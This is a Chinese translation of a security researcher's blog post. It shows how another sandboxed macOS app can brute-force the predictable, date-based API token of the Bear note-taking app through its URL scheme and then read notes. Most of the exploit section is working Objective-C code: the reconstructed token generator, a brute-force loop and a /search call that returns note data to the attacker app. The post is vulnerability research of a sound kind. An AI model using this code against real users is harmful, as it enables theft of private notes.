使用网址计划窃取Bear Notes

  • A+

译文声明
本文是翻译文章,文章原作者Wojciech Reguła 文章来源:https://wojciechregula.blog
原文地址:https://wojciechregula.blog/post/stealing-bear-notes-with-url-schemes/
译文仅供参考,具体内容表达以及含义原文为准

认识我的读者也可能知道我喜欢我使用的测试软件。就是这个时候。我想将所有混乱存储的笔记收集到Apple Notes,docx文件,txt等中。我考虑了许多不同的注释应用程序,但最终我选择了Bear.app。贝尔提供了很酷的主题标签系统,降价标记法和语法突出显示功能,这些都让我感到非常满意。Bear还在App Store生产力应用程序中排名前10位!

1.png

勘探

我开始阅读文档。过了一段时间,我偶然看到一篇有趣文章

2.png

Bear支持应用间通信。因为使用URL模式被提到是一种单向通信机制,所以它实现了一个称为x-callback-url的标准。这个标准允许应用程序之间使用以下算法进行双向通信:

  • 应用程式A开启appB://x-callback-url/action?parameter1=do_something&x-source=appA&x-success=appA://x-callback-url/success
  • 打开应用B,传递查询字符串,执行操作。
  • 然后,应用B获取x成功参数值并打开appA://x-callback-url/success?success_parameter1=...

瞧!我们有基于URL方案的双向应用程序间通信。
现在,看看我们可以使用这些方案执行的操作。其中一些需要在Bear的第一次运行中生成的令牌。

|不需要令牌|需要令牌|
|-|-|
|/open-note|/tags|
|/create|/open-tag|
|/add-text|/untagged|
|/add-file|/todo|
|/rename-tag|/today|
|/delete-tag|/search|
|/trash||
|/archive||
|/grab-url||
|/change-theme||
|/change-font||

如您所见,/trash之类的一些重要操作不需要令牌,但是需要将注释UID作为参数。因此,如果您要滥用/trash操作,则需要使用/search(这将返回便笺UID),然后再执行trash操作。为此,我们需要授权令牌…

分析令牌生成机制

让逆转开始吧。复制/Applications/Bear.app/Contents/MacOS/Bear到临时位置,然后使用Hopper将其打开。我们正在寻找令牌生成方法。因此,只需要搜索一个令牌字符串!

3.png

找到了。现在,是时候看看到底是什么方法使用了==generateToken==字符串。结果是==generateToken==是我们要找的方法的名称。Hopper很好地处理了Objective-C代码,所以我们生成伪代码,如下所示。

4.png

嗯!它以某种方式选择格式化的日期,使用CC_MD5()函数,进行一些二进制操作,并将其保存为字符串。由于令牌不是随机生成的,因此看起来不太安全。我们必须看看通话结果如何==[SFDateHelper currentDateWithFormat:0x0];==。为此,我们使用修改的密码基于Frida引擎的版本。注入Bear过程很简单,只需将其名称通过-p参数。

```
Sztajger:frida-cycript wojciechregula$ ./cycript -p Bear
cy# [SFDateHelper currentDateWithFormat:0x0];
@"27 Feb 2019 at 00:41"

```

现在我们可以看到输入日期由dd-MMM-yyyy:hh-mm组成。暴力破解范围不大,所以让我们来写一个漏洞利用吧!

开发漏洞

在我们开始写这个漏洞之前,请注意,它将涵盖从另一个沙箱应用(通常是从app Store下载)角度进行的漏洞利用。nsandboxed应用程序可以在没有这个魔法的情况下访问Bear的资源,除非你加密你的笔记。

让我们讨论该漏洞利用程序的体系结构。这仅是概念验证/需要有效令牌的搜索/搜索操作。为此,我们需要创建一个Cocoa应用程序,因为它会注册一个URL方案,然后由应用程序委托处理。当我们的漏洞利用程序启动时,它需要开始暴力破解。假如说==viewDidLoad==(ViewController)将开始攻击,==handleURLEvent==(AppDelegate)将停止它(因为找到令牌后我们不想继续利用该漏洞)。由于这两个方法将使用同一对象,因此我决定创建一个利用以下声明的单例类的利用模块:

```
@interface Bruteforcer : NSObject

@property NSString *base_url;
@property BOOL isBruteforced;

  • (id)getInstance;

  • (void)searchWithTag:(NSString)tag term:(NSString)term token:(NSString*)token;

  • (void)bruteforceToken;
  • (NSString)generateTokenForDate:(NSDate)dateFrom;
  • (NSDate*)getInstallationDate;
  • (void)start;

@end

```

改建==generateToken==方法

```
- (NSString )generateTokenForDate:(NSDate )dateFrom {

NSDateFormatter *df = [NSDateFormatter new];
[df setDateFormat:@"MMM"];
NSString *month = [df stringFromDate:dateFrom];
NSCalendar *calendar = [NSCalendar currentCalendar];
NSDateComponents *c = [calendar components:(NSCalendarUnitYear | NSCalendarUnitDay | NSCalendarUnitHour | NSCalendarUnitMinute) fromDate:dateFrom];
NSString* date = [NSString stringWithFormat:@"%d %@ %d at %d:%d", (int)[c day], month, (int)[c year], (int)[c hour], (int)[c minute]];
const char *str = [date UTF8String];
unsigned char *result = malloc(16);
CC_MD5(str, (unsigned int)strlen(str), result);

unsigned char t1 = *(int8_t *)(result + 0x1) & 0xff;
unsigned char t2 = *(int8_t *)(result + 0x9) & 0xff;
unsigned char t3 = *(int8_t *)(result + 0x4) & 0xff;
unsigned char t4 = *(int8_t *)(result + 0x6) & 0xff;
unsigned char t5 = *(int8_t *)(result + 0x3) & 0xff;
unsigned char t6 = *(int8_t *)(result + 0x8) & 0xff;
unsigned char t7 = *(int8_t *)(result + 0x5) & 0xff;
unsigned char t8 = *(int8_t *)(result + 0xc) & 0xff;
unsigned char t9 = *(int8_t *)(result + 0xf) & 0xff;

NSString *token = [NSString stringWithFormat:@"%02X%02X%02X-%02X%02X%02X-%02X%02X%02X", t1, t2, t3, t4, t5, t6, t7, t8, t9];
free(result);
return token;

}

```

注册URL方案

就像在Xcode中添加条目一样简单->工程档案->信息-> URL类型

5.png

处理传入的URL调用

我们需要添加==handleURLMethod==在==AppDelegate.m==。调用此URL时,这意味着/ search操作已在Bear中成功执行,并且令牌被强制执行。我们改变==isBruteforced==属性将在暴力破解模块中处理。

```
- (void)handleURLEvent:(NSAppleEventDescriptor )theEvent withReplyEvent:(NSAppleEventDescriptor )replyEvent
{
NSString *path = [[theEvent paramDescriptorForKeyword:keyDirectObject] stringValue];

if(![path hasPrefix:@"bearinfiltrator://error"]) {
    // stop bruteforcing
    Bruteforcer *bruteforcer = [Bruteforcer getInstance];
    bruteforcer.isBruteforced = YES;

    NSAlert *alert = [[NSAlert alloc] init];
    [alert setMessageText:[NSString stringWithFormat:@"App received following information: %@", path]];
    [alert addButtonWithTitle:@"OK"];
    [alert runModal];
}

}

```

实施/搜索调用

```
- (void)searchWithTag:(NSString )tag term:(NSString )term token:(NSString *)token {

NSString *query = [NSString stringWithFormat:@"search?term=%@&tag=%@&token=%@&show_window=no&x-source=BearInfiltrator&x-success=bearinfiltrator://success&x-error=bearinfiltrator://error", term, tag, token];

NSURL *url = [NSURL URLWithString:[NSString stringWithFormat:@"%@%@", self.base_url, query]];
NSWorkspace *workspace = [NSWorkspace sharedWorkspace];
[workspace openURL:url];

}

```

获取安装日期

在开始进行暴力破解之前,最好对其进行优化。在安装Bear之前无法创建应用程序令牌。因此,我将实现一种方法,该方法将获取Bear.app目录的创建日期(即使是沙盒应用也可以检查该日期)。

```
- (NSDate )getInstallationDate {
NSFileManager
fm = [NSFileManager defaultManager];
NSString *filePath = @"/Applications/Bear.app";

if ([fm fileExistsAtPath:filePath]) {
    NSDictionary *attributes = [fm attributesOfItemAtPath:filePath error:nil];
    NSDate *creationDate = attributes[NSFileCreationDate];
    return creationDate;

}
return nil;

}

```

暴力破解模块

Bruteforcing模块将在日期上迭代,每次迭代增加1分钟

```
- (void)bruteforceToken {

NSDate *dateFrom = [self getInstallationDate];
NSDate *dateTo = [NSDate new];
NSTimeInterval ti = 60;

do {
    if(!isBruteforced) {
        NSString *tmp_token = [self generateTokenForDate:dateFrom];
        [self searchWithTag:@"secret" term:@"" token:tmp_token];
    } else {
        return;
    }

    dateFrom = [dateFrom dateByAddingTimeInterval:ti];
    NSLog(@"%@", dateFrom);

} while ([dateFrom compare:dateTo] == NSOrderedAscending);


NSAlert *alert = [[NSAlert alloc] init];
[alert setMessageText:@"Bruteforce failed"];
[alert addButtonWithTitle:@"OK"];
[alert runModal];

}

```

其他模块相当明显,因此此处不值得描述。如果您有兴趣查看完整的漏洞利用程序,请在Twitter上ping我。

结果

运行漏洞利用几秒钟后,传入消息来了!我们设法将令牌强行使用。

6.png

改进措施

这次开发真的很吵。在强行使用令牌的同时,它不断地改变Bear和exploit之间的焦点。然而,假设用户在安装1天后第一次打开Bear,那么强行暴力将花费几秒钟(在我的情况下为2-3)。